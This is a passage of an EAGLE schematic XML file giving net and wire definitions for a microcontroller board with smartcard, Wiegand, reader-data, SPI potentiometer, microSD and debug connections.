y=\"-76.2\"/>\n<junction x=\"-45.72\" y=\"-78.74\"/>\n<junction x=\"-45.72\" y=\"-81.28\"/>\n<wire x1=\"-45.72\" y1=\"-78.74\" x2=\"-30.48\" y2=\"-78.74\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"OC5/PMWR/CN13/RD4\"/>\n<wire x1=\"124.46\" y1=\"93.98\" x2=\"134.62\" y2=\"93.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"93.98\"/>\n<label x=\"137.16\" y=\"93.98\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"63.754\" x2=\"329.692\" y2=\"63.754\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"64.008\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"25\"/>\n<wire x1=\"329.692\" y1=\"63.754\" x2=\"319.024\" y2=\"63.754\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"63.754\"/>\n</segment>\n</net>\n<net name=\"SMARTCARD_CLOCK\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"OC2/RD1\"/>\n<wire x1=\"124.46\" y1=\"101.6\" x2=\"134.62\" y2=\"101.6\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"101.6\"/>\n<label x=\"137.16\" y=\"101.6\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"51.054\" x2=\"329.692\" y2=\"51.054\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"51.308\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"30\"/>\n<wire x1=\"329.692\" y1=\"51.054\" x2=\"319.024\" y2=\"51.054\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"51.054\"/>\n</segment>\n<segment>\n<pinref part=\"U7\" gate=\"G$1\" pin=\"CLOCK_SIM_PIN_3\"/>\n<wire x1=\"419.1\" y1=\"99.06\" x2=\"408.94\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"383.54\" y=\"99.06\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"419.1\" y=\"99.06\"/>\n<pinref part=\"TP22\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"408.94\" y1=\"99.06\" x2=\"406.4\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"408.94\" y=\"99.06\"/>\n</segment>\n</net>\n<net name=\"WIEGAND_1_OUT\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"OC3/RD2\"/>\n<junction x=\"124.46\" y=\"99.06\"/>\n<label x=\"137.16\" y=\"99.06\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"124.46\" y1=\"99.06\" x2=\"167.64\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP29\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"167.64\" y1=\"99.06\" x2=\"172.72\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"167.64\" y=\"99.06\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"53.594\" x2=\"329.692\" y2=\"53.594\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"53.848\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"29\"/>\n<wire x1=\"329.692\" y1=\"53.594\" x2=\"319.024\" y2=\"53.594\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"53.594\"/>\n</segment>\n</net>\n<net name=\"WIEGAND_0_OUT\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"OC4/RD3\"/>\n<junction x=\"124.46\" y=\"96.52\"/>\n<label x=\"137.16\" y=\"96.52\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"124.46\" y1=\"96.52\" x2=\"175.26\" y2=\"96.52\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP33\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"175.26\" y1=\"96.52\" x2=\"172.72\" y2=\"96.52\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"175.26\" y=\"96.52\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"56.134\" x2=\"329.692\" y2=\"56.134\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"56.388\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"28\"/>\n<wire x1=\"329.692\" y1=\"56.134\" x2=\"319.024\" y2=\"56.134\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"56.134\"/>\n</segment>\n</net>\n<net name=\"WIEGAND_0_IN\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMRD/CN14/RD5\"/>\n<junction x=\"124.46\" y=\"91.44\"/>\n<label x=\"137.16\" y=\"91.44\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"124.46\" y1=\"91.44\" x2=\"167.64\" y2=\"91.44\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP34\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"167.64\" y1=\"91.44\" x2=\"172.72\" y2=\"91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"167.64\" y=\"91.44\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"66.294\" x2=\"329.692\" y2=\"66.294\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"66.548\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"24\"/>\n<wire x1=\"329.692\" y1=\"66.294\" x2=\"319.024\" y2=\"66.294\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"66.294\"/>\n</segment>\n</net>\n<net name=\"WIEGAND_1_IN\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ETXEN/PMD14/CN15/RD6\"/>\n<junction x=\"124.46\" y=\"88.9\"/>\n<label x=\"137.16\" y=\"88.9\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"124.46\" y1=\"88.9\" x2=\"177.8\" y2=\"88.9\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP35\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"177.8\" y1=\"88.9\" x2=\"172.72\" y2=\"88.9\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"177.8\" y=\"88.9\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"68.834\" x2=\"329.692\" y2=\"68.834\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"69.088\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"23\"/>\n<wire x1=\"329.692\" y1=\"68.834\" x2=\"319.024\" y2=\"68.834\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"68.834\"/>\n</segment>\n</net>\n<net name=\"RD7\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ETXCLK/PMD15/CN16/RD7\"/>\n<wire x1=\"124.46\" y1=\"86.36\" x2=\"134.62\" y2=\"86.36\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"86.36\"/>\n<label x=\"137.16\" y=\"86.36\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"71.374\" x2=\"329.692\" y2=\"71.374\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"71.628\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"22\"/>\n<wire x1=\"329.692\" y1=\"71.374\" x2=\"319.024\" y2=\"71.374\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"71.374\"/>\n</segment>\n</net>\n<net name=\"READER_DATA\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"RTCC/EMDIO/IC1/RD8\"/>\n<wire x1=\"124.46\" y1=\"83.82\" x2=\"134.62\" y2=\"83.82\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"83.82\"/>\n<label x=\"137.16\" y=\"83.82\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"33.274\" x2=\"329.692\" y2=\"33.274\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"33.528\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"37\"/>\n<wire x1=\"329.692\" y1=\"33.274\" x2=\"319.024\" y2=\"33.274\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"33.274\"/>\n</segment>\n<segment>\n<pinref part=\"JP8\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"368.3\" y1=\"-99.06\" x2=\"368.3\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"READER_DATA\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"368.3\" y=\"-99.06\"/>\n<pinref part=\"U3\" gate=\"G$1\" pin=\"Y\"/>\n<junction x=\"365.76\" y=\"-109.22\"/>\n<wire x1=\"365.76\" y1=\"-109.22\" x2=\"368.3\" y2=\"-109.22\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"368.3\" y1=\"-109.22\" x2=\"368.3\" y2=\"-101.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"368.3\" y1=\"-101.6\" x2=\"368.3\" y2=\"-99.06\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"368.3\" y1=\"-109.22\" x2=\"386.08\" y2=\"-109.22\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"388.62\" y=\"-109.22\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"368.3\" y=\"-109.22\"/>\n<junction x=\"368.3\" y=\"-93.98\"/>\n<pinref part=\"TP7\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"368.3\" y=\"-101.6\"/>\n</segment>\n</net>\n<net name=\"PIC_!SS1\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"!SS1!/IC2/RD9\"/>\n<wire x1=\"124.46\" y1=\"81.28\" x2=\"134.62\" y2=\"81.28\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"81.28\"/>\n<label x=\"137.16\" y=\"81.28\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"35.814\" x2=\"329.692\" y2=\"35.814\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"36.068\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"36\"/>\n<wire x1=\"329.692\" y1=\"35.814\" x2=\"319.024\" y2=\"35.814\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"35.814\"/>\n</segment>\n<segment>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"2_CS\"/>\n<wire x1=\"337.82\" y1=\"233.68\" x2=\"330.2\" y2=\"233.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"330.2\" y1=\"233.68\" x2=\"330.2\" y2=\"236.22\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"330.2\" y1=\"236.22\" x2=\"297.18\" y2=\"236.22\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"279.4\" y=\"236.22\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"337.82\" y=\"233.68\"/>\n<pinref part=\"R33\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"297.18\" y1=\"236.22\" x2=\"294.64\" y2=\"236.22\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"294.64\" y1=\"236.22\" x2=\"292.1\" y2=\"236.22\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"294.64\" y1=\"241.3\" x2=\"294.64\" y2=\"236.22\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"294.64\" y=\"236.22\"/>\n<junction x=\"294.64\" y=\"241.3\"/>\n<pinref part=\"TP24\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"297.18\" y=\"236.22\"/>\n</segment>\n</net>\n<net name=\"PIC_SCK1\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SCK1/IC3/PMCS2/PMA15/RD10\"/>\n<wire x1=\"124.46\" y1=\"78.74\" x2=\"134.62\" y2=\"78.74\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"78.74\"/>\n<label x=\"137.16\" y=\"78.74\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"38.354\" x2=\"329.692\" y2=\"38.354\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"38.608\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"35\"/>\n<wire x1=\"329.692\" y1=\"38.354\" x2=\"319.024\" y2=\"38.354\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"38.354\"/>\n</segment>\n<segment>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"5_SCK\"/>\n<wire x1=\"337.82\" y1=\"226.06\" x2=\"299.72\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"279.4\" y=\"225.298\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"337.82\" y=\"226.06\"/>\n<pinref part=\"TP26\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"299.72\" y1=\"226.06\" x2=\"292.1\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"299.72\" y=\"226.06\"/>\n</segment>\n</net>\n<net name=\"CLOCK_SNIFF\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ETXD2/IC5/PMD12/RD12\"/>\n<wire x1=\"124.46\" y1=\"73.66\" x2=\"134.62\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"73.66\"/>\n<label x=\"137.16\" y=\"73.66\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"58.674\" x2=\"329.692\" y2=\"58.674\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"58.928\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"27\"/>\n<wire x1=\"329.692\" y1=\"58.674\" x2=\"319.024\" y2=\"58.674\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"58.674\"/>\n</segment>\n<segment>\n<label x=\"406.4\" y=\"-45.72\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<wire x1=\"71.12\" y1=\"-45.72\" x2=\"386.08\" y2=\"-45.72\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"71.12\" y1=\"-50.8\" x2=\"71.12\" y2=\"-45.72\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"71.12\" y=\"-45.72\"/>\n<wire x1=\"71.12\" y1=\"-45.72\" x2=\"60.96\" y2=\"-45.72\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"D6\" gate=\"G$1\" pin=\"C1\"/>\n<pinref part=\"R18\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"60.96\" y=\"-45.72\"/>\n<junction x=\"71.12\" y=\"-50.8\"/>\n</segment>\n</net>\n<net name=\"RD13\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ETXD3/PMD13/CN19/RD13\"/>\n<wire x1=\"124.46\" y1=\"71.12\" x2=\"134.62\" y2=\"71.12\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"71.12\"/>\n<label x=\"137.16\" y=\"71.12\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"61.214\" x2=\"329.692\" y2=\"61.214\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"326.644\" y=\"61.468\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"26\"/>\n<wire x1=\"329.692\" y1=\"61.214\" x2=\"319.024\" y2=\"61.214\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"61.214\"/>\n</segment>\n</net>\n<net name=\"!SD_WE\" class=\"0\">\n<segment>\n<wire x1=\"326.644\" y1=\"76.454\" x2=\"329.692\" y2=\"76.454\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"76.708\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"20\"/>\n<wire x1=\"329.692\" y1=\"76.454\" x2=\"319.024\" y2=\"76.454\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"76.454\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"C1TX/ETXD0/PMD10/RF1\"/>\n<junction x=\"124.46\" y=\"58.42\"/>\n<label x=\"137.16\" y=\"58.42\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"J1\" gate=\"1\" pin=\"1\"/>\n<wire x1=\"124.46\" y1=\"58.42\" x2=\"167.64\" y2=\"58.42\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"167.64\" y=\"58.42\"/>\n</segment>\n</net>\n<net name=\"SMARTCARD_TX_PIC_RX\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SDA1A/SDI1A/U1ARX/RF2\"/>\n<wire x1=\"124.46\" y1=\"55.88\" x2=\"134.62\" y2=\"55.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"55.88\"/>\n<label x=\"137.16\" y=\"55.88\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"50.8\" x2=\"274.32\" y2=\"50.8\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"228.6\" y=\"51.054\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"30\"/>\n<junction x=\"274.32\" y=\"50.8\"/>\n</segment>\n<segment>\n<pinref part=\"U7\" gate=\"G$1\" pin=\"I/O_SIM_PIN_7\"/>\n<wire x1=\"472.44\" y1=\"99.06\" x2=\"474.98\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"482.6\" y=\"99.06\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"474.98\" y1=\"99.06\" x2=\"482.6\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"482.6\" y1=\"99.06\" x2=\"482.6\" y2=\"83.82\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R26\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"482.6\" y1=\"83.82\" x2=\"449.58\" y2=\"83.82\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"449.58\" y1=\"83.82\" x2=\"408.94\" y2=\"83.82\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"449.58\" y=\"83.82\"/>\n<junction x=\"472.44\" y=\"99.06\"/>\n<label x=\"375.92\" y=\"83.82\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"TP23\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"474.98\" y=\"99.06\"/>\n</segment>\n</net>\n<net name=\"POT_SDO_PIC_SDI4\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SDA3A/SDI3A/U3ARX/PMA9/CN17/RF4\"/>\n<wire x1=\"124.46\" y1=\"50.8\" x2=\"134.62\" y2=\"50.8\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"50.8\"/>\n<label x=\"137.16\" y=\"50.8\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"55.88\" x2=\"274.32\" y2=\"55.88\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"233.68\" y=\"56.134\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"28\"/>\n<junction x=\"274.32\" y=\"55.88\"/>\n</segment>\n<segment>\n<pinref part=\"U1\" gate=\"A\" pin=\"SDO\"/>\n<wire x1=\"213.36\" y1=\"-127\" x2=\"213.36\" y2=\"-124.46\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"213.36\" y1=\"-124.46\" x2=\"193.04\" y2=\"-124.46\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"193.04\" y1=\"-124.46\" x2=\"193.04\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"193.04\" y1=\"-121.92\" x2=\"175.26\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"149.86\" y=\"-121.92\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"213.36\" y=\"-127\"/>\n</segment>\n</net>\n<net name=\"POT_SDI_PIC_SDO4\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SCL3A/SDO3A/U3ATX/PMA8/CN18/RF5\"/>\n<wire x1=\"124.46\" y1=\"48.26\" x2=\"134.62\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"48.26\"/>\n<label x=\"137.16\" y=\"48.26\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"53.34\" x2=\"274.32\" y2=\"53.34\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"233.68\" y=\"53.594\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"29\"/>\n<junction x=\"274.32\" y=\"53.34\"/>\n</segment>\n<segment>\n<pinref part=\"U1\" gate=\"A\" pin=\"SDI\"/>\n<wire x1=\"177.8\" y1=\"-116.84\" x2=\"175.26\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"149.86\" y=\"-116.84\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"177.8\" y=\"-116.84\"/>\n</segment>\n</net>\n<net name=\"SMARTCARD_RX_PIC_TX\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SCL1A/SDO1A/U1ATX/RF8\"/>\n<wire x1=\"124.46\" y1=\"45.72\" x2=\"134.62\" y2=\"45.72\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"45.72\"/>\n<label x=\"137.16\" y=\"45.72\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"48.26\" x2=\"274.32\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"228.6\" y=\"48.514\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"31\"/>\n<junction x=\"274.32\" y=\"48.26\"/>\n</segment>\n<segment>\n<pinref part=\"R26\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"449.58\" y1=\"73.66\" x2=\"408.94\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"449.58\" y=\"73.66\"/>\n<label x=\"375.92\" y=\"73.66\" size=\"1.778\" layer=\"95\"/>\n</segment>\n</net>\n<net name=\"!POT_SLAVE_SELECT\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AC1RX/!SS3A!/U3BRX/!U3ACTS!/RF12\"/>\n<wire x1=\"124.46\" y1=\"43.18\" x2=\"134.62\" y2=\"43.18\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"43.18\"/>\n<label x=\"137.16\" y=\"43.18\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"73.66\" x2=\"274.32\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"231.14\" y=\"73.914\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"21\"/>\n<junction x=\"274.32\" y=\"73.66\"/>\n</segment>\n<segment>\n<pinref part=\"U1\" gate=\"A\" pin=\"!CS\"/>\n<wire x1=\"177.8\" y1=\"-111.76\" x2=\"175.26\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"149.86\" y=\"-111.76\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"177.8\" y=\"-111.76\"/>\n</segment>\n</net>\n<net name=\"POT_CLOCK\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AC1TX/SCK3A/U3BTX/!U3ARTS!/RF13\"/>\n<wire x1=\"124.46\" y1=\"40.64\" x2=\"134.62\" y2=\"40.64\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"40.64\"/>\n<label x=\"137.16\" y=\"40.64\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"76.2\" x2=\"274.32\" y2=\"76.2\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"243.84\" y=\"76.454\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"20\"/>\n<junction x=\"274.32\" y=\"76.2\"/>\n</segment>\n<segment>\n<pinref part=\"U1\" gate=\"A\" pin=\"SCK\"/>\n<wire x1=\"177.8\" y1=\"-114.3\" x2=\"175.26\" y2=\"-114.3\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"149.86\" y=\"-114.3\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"177.8\" y=\"-114.3\"/>\n</segment>\n</net>\n<net name=\"RC14\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SOSCO/T1CK/CN0/RC14\"/>\n<junction x=\"-43.18\" y=\"33.02\"/>\n<label x=\"-58.42\" y=\"33.02\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"-43.18\" y1=\"33.02\" x2=\"-71.12\" y2=\"33.02\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-71.12\" y1=\"33.02\" x2=\"-71.12\" y2=\"10.16\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C34\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-71.12\" y1=\"10.16\" x2=\"-83.82\" y2=\"10.16\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"X2\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-83.82\" y1=\"10.16\" x2=\"-83.82\" y2=\"12.7\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-83.82\" y=\"10.16\"/>\n<junction x=\"-83.82\" y=\"12.7\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"48.514\" x2=\"329.692\" y2=\"48.514\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"326.644\" y=\"48.768\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"31\"/>\n<wire x1=\"329.692\" y1=\"48.514\" x2=\"319.024\" y2=\"48.514\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"48.514\"/>\n</segment>\n</net>\n<net name=\"DEBUG_2\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"T3CK/RC2/AC2TX\"/>\n<junction x=\"-43.18\" y=\"48.26\"/>\n<label x=\"-63.5\" y=\"48.26\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"-43.18\" y1=\"48.26\" x2=\"-78.74\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP38\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"-78.74\" y=\"48.26\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"122.174\" x2=\"329.692\" y2=\"122.174\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"122.428\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"2\"/>\n<wire x1=\"329.692\" y1=\"122.174\" x2=\"319.024\" y2=\"122.174\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"122.174\"/>\n</segment>\n</net>\n<net name=\"DEBUG_1\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"T2CK/RC1\"/>\n<junction x=\"-43.18\" y=\"50.8\"/>\n<label x=\"-63.5\" y=\"50.8\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"-43.18\" y1=\"50.8\" x2=\"-76.2\" y2=\"50.8\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP39\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"-76.2\" y=\"50.8\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"119.634\" x2=\"329.692\" 